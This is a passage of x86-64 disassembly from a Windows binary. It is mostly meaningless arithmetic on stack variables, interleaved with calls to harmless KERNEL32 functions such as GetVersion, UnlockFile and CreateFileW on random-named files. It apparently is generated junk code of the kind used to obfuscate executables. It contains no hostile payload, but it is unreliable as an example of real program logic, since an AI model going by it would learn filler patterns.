mov ecx, dword [rsp + 0x9bf4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d20]
mov dword [rcx], eax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4cc30]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9e24], eax
lea rax, [rsp + 0x9c34]
mov qword [rsp + 0x16210], rax
movsx eax, word [rsp + 0x2d1c]
movsx ecx, word [0x1403624c8]
sub eax, ecx
mov rcx, qword [rsp + 0x15520]
mov word [rcx], ax
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x749]
sub eax, ecx
mov byte [rsp + 0x319], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
lea rax, [rsp + 0x3a7]
mov qword [rsp + 0x16218], rax
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e24]
add eax, ecx
mov word [0x140369ee8], ax
mov eax, dword [rsp + 0x9f1c]
mov ecx, dword [rsp + 0x69c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov eax, dword [0x140362510]
mov rcx, qword [rsp + 0x157c8]
mov qword [rsp + 0x16220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16220]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8140], eax
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ce]
sar eax, cl
mov rcx, qword [rsp + 0x14948]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d18]
movzx ecx, word [rsp + 0x2d70]
or eax, ecx
mov word [rsp + 0x18f4], ax
mov rax, qword [rsp + 0x15b40]
mov eax, dword [rax]
mov dword [rsp + 0xa458], eax
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [rsp + 0x91dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a80], eax
mov eax, dword [rsp + 0x6278]
mov dword [rsp + 0xa45c], eax
mov rax, qword [rsp + 0x14e98]
mov rcx, qword [0x140369bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5c50], eax
movzx eax, word [rsp + 0x2d18]
mov word [0x14036a3d0], ax
lea rax, [rsp + 0x740]
mov qword [rsp + 0x16228], rax
mov rax, qword [rsp + 0x15d40]
mov rcx, qword [rsp + 0x15030]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cd8], eax
mov eax, dword [rsp + 0x9e44]
mov ecx, dword [0x140362480]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c60], eax
lea rax, [rsp + 0x757]
mov qword [rsp + 0x16230], rax
movsx eax, word [rsp + 0x268c]
mov rcx, qword [rsp + 0x157f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0x14728]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1ed8], ax
mov rax, qword [rsp + 0x14ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16228]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7b8], al
mov rax, qword [rsp + 0x13a48]
mov ecx, dword [rsp + 0x9b04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa0d8], eax
mov eax, dword [rsp + 0x9aa4]
mov ecx, dword [rsp + 0x9b38]
sub ecx, eax
mov eax, ecx
mov dword [0x140362518], eax
lea rax, [rsp + 0x7a24]
mov qword [rsp + 0x16238], rax
mov rax, qword [rsp + 0x13608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x70e4], eax
mov eax, dword [rsp + 0xa388]
mov dword [rsp + 0xa460], eax
movzx eax, byte [rsp + 0x384]
movzx ecx, byte [rsp + 0x79a]
add eax, ecx
mov byte [rsp + 0x7ad], al
movzx eax, word [0x14036252c]
movzx ecx, word [rsp + 0x2ba8]
shl eax, cl
mov word [rsp + 0x2bf8], ax
lea rax, [rsp + 0x9c78]
mov qword [rsp + 0x16240], rax
lea rdx, [rsp + 0x434f0]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa464], eax
mov eax, dword [0x140369cd0]
mov rcx, qword [rsp + 0x161a8]
mov qword [rsp + 0x16248], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16248]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x15960]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d50]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5694], eax
mov dword [rsp + 0x20], 0x32ff
mov r9d, 0x242e
mov r8d, 0x30d8
mov edx, 0x2152
mov rcx, qword [rsp + 0x14fa8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9e28], eax
mov eax, dword [rsp + 0x7cdc]
mov ecx, dword [rsp + 0x8ff8]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a298]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14380]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ee0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15aa0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2dfc]
sub eax, ecx
mov word [rsp + 0x2c7c], ax
mov rax, qword [rsp + 0x15fb8]
movzx eax, byte [rax]
mov byte [rsp + 0x7c8], al
mov rax, qword [rsp + 0x13330]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c8c], ax
lea rax, [rsp + 0x5b48]
mov qword [rsp + 0x16250], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x146a0]
mov rcx, qword [rsp + 0x13e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15aa8]
mov dword [rcx], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x16258], rax
mov rax, qword [rsp + 0x15698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a4]
and eax, ecx
mov byte [rsp + 0x410], al
mov eax, dword [0x140369ed0]
mov ecx, dword [rsp + 0x9e8c]
sub ecx, eax
mov eax, ecx
mov dword [0x140362558], eax
mov rcx, qword [rsp + 0x15208]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x5a9c]
mov ecx, dword [rsp + 0x9d2c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b70]
mov dword [rcx], eax
lea rax, [rsp + 0x9df8]
mov qword [rsp + 0x16260], rax
mov rax, qword [rsp + 0x15338]
mov ecx, dword [0x140369e40]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15420]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2d7c]
mov rcx, qword [rsp + 0x15bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1450], ax
mov rax, qword [rsp + 0x15b10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14720]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369fec]
sar eax, cl
mov dword [rsp + 0x9d08], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4d0b0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b34], eax
mov eax, dword [rsp + 0x81d0]
mov dword [rsp + 0xa468], eax
mov rax, qword [rsp + 0x154a8]
mov ecx, dword [rsp + 0x9ff8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14ed8]
mov dword [rcx], eax
lea rax, [0x140362548]
mov qword [0x14036a3d8], rax
lea rax, [rsp + 0xa24c]
mov qword [rsp + 0x16268], rax
mov rax, qword [rsp + 0x14a10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4fe]
shl eax, cl
mov rcx, qword [rsp + 0x15780]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x2950
mov r9d, 0x2b99
mov r8d, 0x2012
mov edx, 0x14a8
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa46c], eax
movsx eax, word [rsp + 0x2e2c]
mov rcx, qword [0x14036a1b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2094], ax
mov rax, qword [rsp + 0x15b30]
movzx eax, byte [rax]
mov byte [rsp + 0x7c9], al
movzx eax, word [rsp + 0x2cc4]
movzx ecx, word [rsp + 0x15ec]
imul eax, ecx
mov word [rsp + 0x1a5c], ax
lea rax, [0x14036a394]
mov qword [rsp + 0x16270], rax
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14910]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x15c40]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x43170]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d10], eax
mov dword [rsp + 0x4d1d0], 0x11c
movzx eax, byte [rsp + 0x7a8]
movzx ecx, byte [rsp + 0x755]
and eax, ecx
mov rcx, qword [rsp + 0x15d38]
mov byte [rcx], al
mov rax, qword [rsp + 0x14560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ddc]
add eax, ecx
mov rcx, qword [0x14036a2f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15568]
mov rcx, qword [rsp + 0x13d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7904], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x13cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14bc0]
mov eax, dword [rax]
mov dword [rsp + 0xa470], eax
mov rax, qword [rsp + 0x14698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7254]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa114], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa068], eax
mov edx, 0x1d42
mov rcx, qword [rsp + 0x13b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b68], eax
mov rax, qword [rsp + 0x14b50]
movzx eax, word [rax]
movzx ecx, word [0x14036252c]
and eax, ecx
mov word [rsp + 0x1808], ax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75f]
or eax, ecx
mov rcx, qword [rsp + 0x13878]
mov byte [rcx], al
mov eax, dword [rsp + 0x8034]
mov ecx, dword [rsp + 0x95fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca4], eax
lea rax, [rsp + 0xa34c]
mov qword [rsp + 0x16278], rax
mov rax, qword [rsp + 0x144b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x16048]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x140369ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13d58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13430]
mov word [rcx], ax
lea rax, [rsp + 0x77e]
mov qword [rsp + 0x16280], rax
movzx eax, word [rsp + 0x2bb8]
movzx ecx, word [rsp + 0x169c]
shl eax, cl
mov word [rsp + 0x2d44], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ff4], eax
mov eax, dword [0x140369eec]
mov ecx, dword [rsp + 0x940c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x91dc], eax
mov eax, dword [rsp + 0x9b1c]
mov dword [rsp + 0xa474], eax
mov eax, dword [rsp + 0xa1ec]
mov ecx, dword [rsp + 0xa3c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13750]
mov dword [rcx], eax
lea rax, [rsp + 0xa258]
mov qword [rsp + 0x16288], rax
mov rax, qword [rsp + 0x14d20]
mov ecx, dword [rsp + 0x9c38]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15560]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x23e8]
imul eax, ecx
mov rcx, qword [rsp + 0x14dd8]
mov word [rcx], ax
movzx eax, byte [0x140363f5c]
mov byte [0x140363fef], al
lea rax, [rsp + 0x9f60]
mov qword [rsp + 0x16290], rax
mov eax, dword [rsp + 0x9bc0]
mov ecx, dword [rsp + 0x9d40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d5c], eax
lea rax, [rsp + 0x7ca4]
mov qword [rsp + 0x16298], rax
mov rax, qword [rsp + 0x13490]
mov eax, dword [rax]
mov ecx, dword [0x14036a148]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fbc], eax
lea rax, [rsp + 0x15c4]
mov qword [rsp + 0x162a0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x162a8], rax
movzx eax, byte [rsp + 0x76d]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x737], al
mov rax, qword [rsp + 0x15bd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
add eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x15038]
movzx eax, byte [rax]
mov byte [rsp + 0x7ca], al
mov rax, qword [rsp + 0x15610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b54]
add ecx, eax
mov eax, ecx
mov dword [0x140369ce0], eax
mov eax, dword [rsp + 0x9de0]
mov ecx, dword [0x140369d38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9db8], eax
mov rax, qword [rsp + 0x15298]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1388], ax
mov rax, qword [rsp + 0x13fd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a10]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x15b78]
mov byte [rcx], al
mov eax, dword [rsp + 0x9d80]
mov ecx, dword [rsp + 0x9d4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
lea rax, [rsp + 0x6ce0]
mov qword [rsp + 0x162b0], rax
mov eax, dword [rsp + 0xa3dc]
mov rcx, qword [rsp + 0x146a8]
mov qword [rsp + 0x162b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa270], eax
mov eax, dword [rsp + 0x58e8]
mov dword [rsp + 0xa478], eax
movzx eax, byte [rsp + 0x384]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x88], al
movzx eax, word [rsp + 0x2c4c]
mov word [0x14036a3e0], ax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0xa0cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14498]
mov dword [rcx], eax
lea rax, [rsp + 0xa1f8]
mov qword [rsp + 0x162c0], rax
lea rdx, [rsp + 0x43368]
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x15620]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b3c], eax
mov rax, qword [rsp + 0x13690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6228], eax
mov rax, qword [rsp + 0x158a8]
mov rcx, qword [0x140369f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x16240]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2de8]
movsx ecx, word [rsp + 0x2c20]
add eax, ecx
mov word [rsp + 0x12ec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13a58]
movzx eax, byte [rax]
mov byte [rsp + 0x7cb], al
movzx eax, byte [rsp + 0x79e]
movzx ecx, byte [rsp + 0x204]
and eax, ecx
mov byte [rsp + 0x793], al
mov rax, qword [rsp + 0x13b20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14036255c], ax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov dword [rsp + 0xa47c], eax
mov rax, qword [rsp + 0x14580]
mov rcx, qword [rsp + 0x138a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e84], eax
lea rax, [rsp + 0x7a6]
mov qword [rsp + 0x162c8], rax
mov rax, qword [rsp + 0x13888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14728]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x144c8]
mov word [rcx], ax
mov eax, dword [0x1403624c4]
mov ecx, dword [rsp + 0x6a40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa1e8], eax
mov rax, qword [rsp + 0x13d90]
mov rcx, qword [rsp + 0x15ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5344], eax
mov rax, qword [rsp + 0x148f0]
mov ecx, dword [rsp + 0x9f94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cd0], eax
lea rax, [0x1403624c4]
mov qword [rsp + 0x162d0], rax
movzx eax, word [rsp + 0x2e14]
mov rcx, qword [rsp + 0x14bb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1403624ac], ax
movzx eax, byte [rsp + 0x753]
cdq
mov ecx, 0x6f
idiv ecx
mov rcx, qword [rsp + 0x160e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x161a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14538]
mov qword [rsp + 0x162d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x148c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x85d0]
mov dword [rsp + 0xa480], eax
movsx eax, word [rsp + 0x1690]
movsx ecx, word [rsp + 0x2ab0]
xor eax, ecx
mov rcx, qword [rsp + 0x15520]
mov word [rcx], ax
lea rax, [rsp + 0x512]
mov qword [rsp + 0x162e0], rax
mov rax, qword [rsp + 0x13898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15da8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13610]
mov word [rcx], ax
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13420]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x14520]
mov byte [rcx], al
lea rax, [rsp + 0x820c]
mov qword [rsp + 0x162e8], rax
mov rax, qword [rsp + 0x13cd0]
mov eax, dword [rax]
mov dword [0x14036a3e4], eax
mov rax, qword [rsp + 0x15198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x871c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9da0], eax
mov rax, qword [rsp + 0x15998]
mov rcx, qword [rsp + 0x15910]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x631c], eax
lea rdx, [rsp + 0x43480]
mov rcx, qword [rsp + 0x13a78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c4c], eax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x14dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16200]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1ed8]
mov word [rsp + 0x2e30], ax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x733], al
mov rax, qword [rsp + 0x12e88]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7c50], eax
mov eax, dword [0x140369ed0]
mov dword [rsp + 0xa484], eax
mov rcx, qword [rsp + 0x142b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa488], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa340], eax
mov rax, qword [rsp + 0x15770]
mov ecx, dword [rsp + 0x6050]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15198]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b20]
mov ecx, dword [rsp + 0xa064]
and ecx, eax
mov eax, ecx
mov dword [0x140369b9c], eax
mov rax, qword [rsp + 0x15890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0x14958]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
add eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4c570]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9fb4], eax
mov rax, qword [rsp + 0x14fd0]
movsx eax, word [rax]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17e4], ax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x162f0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9fa0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.E3MQP56EkfCecMKCfi9oPlh3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x162f8], rax
mov rcx, qword [rsp + 0x15ad0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa3fc], eax
mov rax, qword [rsp + 0x132d8]
mov ecx, dword [rsp + 0xa294]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa070], eax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0xa48c], eax
movzx eax, byte [rsp + 0x7ae]
mov rcx, qword [rsp + 0x13400]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x76b], al
lea rdx, [rsp + 0x43560]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa46c], eax
mov rax, qword [rsp + 0x14250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13728]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2098], ax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x4a950]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0x8592b24
lea rax, [0x14036254c]
mov qword [0x14036a3e8], rax
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x16300], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x14b98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c1c]
sar eax, cl
mov dword [rsp + 0x9e00], eax
lea rax, [rsp + 0x9b1c]
mov qword [rsp + 0x16308], rax
movzx eax, word [rsp + 0x2c28]
mov rcx, qword [rsp + 0x14898]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2d98], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4c330]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x15c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13878]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13340]
mov byte [rcx], al
lea rax, [rsp + 0x9dd4]
mov qword [rsp + 0x16310], rax
mov rax, qword [0x14036a350]
mov rcx, qword [rsp + 0x13ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x154f0]
mov dword [rcx], eax
lea rax, [rsp + 0xa424]
mov qword [rsp + 0x16318], rax
mov rax, qword [rsp + 0x15b40]
mov ecx, dword [rsp + 0x89a8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362518], eax
mov rax, qword [rsp + 0x13da8]
mov ecx, dword [rsp + 0x9a30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x86dc], eax
mov rax, qword [rsp + 0x13d48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x553]
and eax, ecx
mov byte [rsp + 0x18e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.f0zwmkay5S_a7Yfg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16320], rax
movsx eax, word [rsp + 0x2e2c]
mov rcx, qword [rsp + 0x147b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x157f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x13c40]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14448]
mov byte [rcx], al
mov edx, 0x1c7e
mov rcx, qword [rsp + 0x13b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x2d4c]
mov qword [rsp + 0x16328], rax
lea rcx, [rsp + 0x4ce70]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa360], eax
mov rax, qword [0x140369c40]
mov rcx, qword [rsp + 0x15d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15968]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa39c]
mov dword [rsp + 0xa490], eax
movzx eax, byte [rsp + 0x779]
mov rcx, qword [rsp + 0x12fe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4a8], al
mov rax, qword [0x140369c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18f4]
and eax, ecx
mov word [0x140362468], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x16330], rax
mov rax, qword [rsp + 0x150e8]
mov ecx, dword [rsp + 0x9e68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x154d8]
mov dword [rcx], eax
lea rax, [0x14036a108]
mov qword [rsp + 0x16338], rax
mov rax, qword [rsp + 0x15dd8]
mov rcx, qword [rsp + 0x13de0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15bc8]
mov dword [rcx], eax
lea rdx, [rsp + 0x43288]
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9dc0], eax
lea rax, [rsp + 0x7254]
mov qword [rsp + 0x16340], rax
mov rax, qword [rsp + 0x16010]
movzx eax, word [rax]
movzx ecx, word [0x14036a068]
sar eax, cl
mov word [rsp + 0x2c48], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4bb50]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa494], eax
movzx eax, byte [rsp + 0x79c]
movzx ecx, byte [rsp + 0x650]
shl eax, cl
mov rcx, qword [rsp + 0x13a10]
mov byte [rcx], al
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa178]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c4], eax
lea rdx, [rsp + 0x43288]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
mov rax, qword [0x14036a298]
mov rcx, qword [rsp + 0x14808]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x154c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15cb8]
